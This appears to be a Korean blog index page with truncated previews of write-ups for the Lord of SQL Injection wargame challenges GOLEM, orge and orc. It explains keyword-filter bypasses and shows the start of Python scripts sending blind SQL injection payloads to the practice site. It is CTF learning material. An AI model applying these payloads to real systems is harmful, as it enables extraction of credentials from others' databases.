반응형

blind sql injection 3

[Lord of SQL Injection] GOLEM 문제 풀이

문제 정보 문제 이름 : GOLEM 문제 설명 or, and, substr(, = 등이 필터링 되어있다. substr()함수 대신 substring()함수나 mid()함를 사용하여 문제를 해결할 수 있다. admin의 pw값을 구하면 문제를 해결할 수 있다. import requests url = 'https://los.rubiya.kr/chall/golem_4b5202cfedd8160e73124b5234235ef5.php' cookies={'PHPSESSID':'세션값'} password = '' # # password length 파악 # for length in range(1,20): # params = {'pw':f"' || id like 'admin' && length(pw) like {leng..

[Lord of SQL Injection] orge 문제 풀이

문제 정보 문제 이름 : orge 문제 설명 or 과 and가 대소문과 상관없이 필터링되었다. ||과 &&(%26)으로 우회가 가능하다. 그리고 우리가 입력한 pw와 result의 pw가 같아야지 문제를 해결할 수 있다. import requests url = 'https://los.rubiya.kr/chall/orge_bad2f25db233a7542be75844e314e9f3.php' cookies={'PHPSESSID':'세션값'} password = '' # # password length 파악 # for length in range(1,20): # params = {'pw':f"' || id='admin' && length(pw) = {length} #"} # req = requests.get(u..

[Lord of SQL Injection] orc 문제 풀이

문제 정보 문제 이름 : orc 문제 설명 위 소스코드에서 mysqli_fetch_array함수에서 id와 pw를 DB의 내용과 비교해 참일경우 Hello admin을 반환한다. 아래 코드는 result['pw']가 참이고 result['pw']와 우리가 입력한 pw가 같으면 문제를 해결할 수 있다. 필터링이 많이 안되어있기 때문에 blind injection으로 비밀번호를 추출할 수 있다. 앞에 id= admin and pw부분을 거짓으로 날리고 거짓 or id=admin으로 참으로 성립한다음 참 and length(pw)=8#으로 pw의 길이가 참일경우 Hello admin이 출력하도록 진행하였다. 이로 인해 pw의 길이가 8임을 알 수 있다. 패스워드의 값을 하나씩 추출하기 위해서 mysql에서 문..

반응형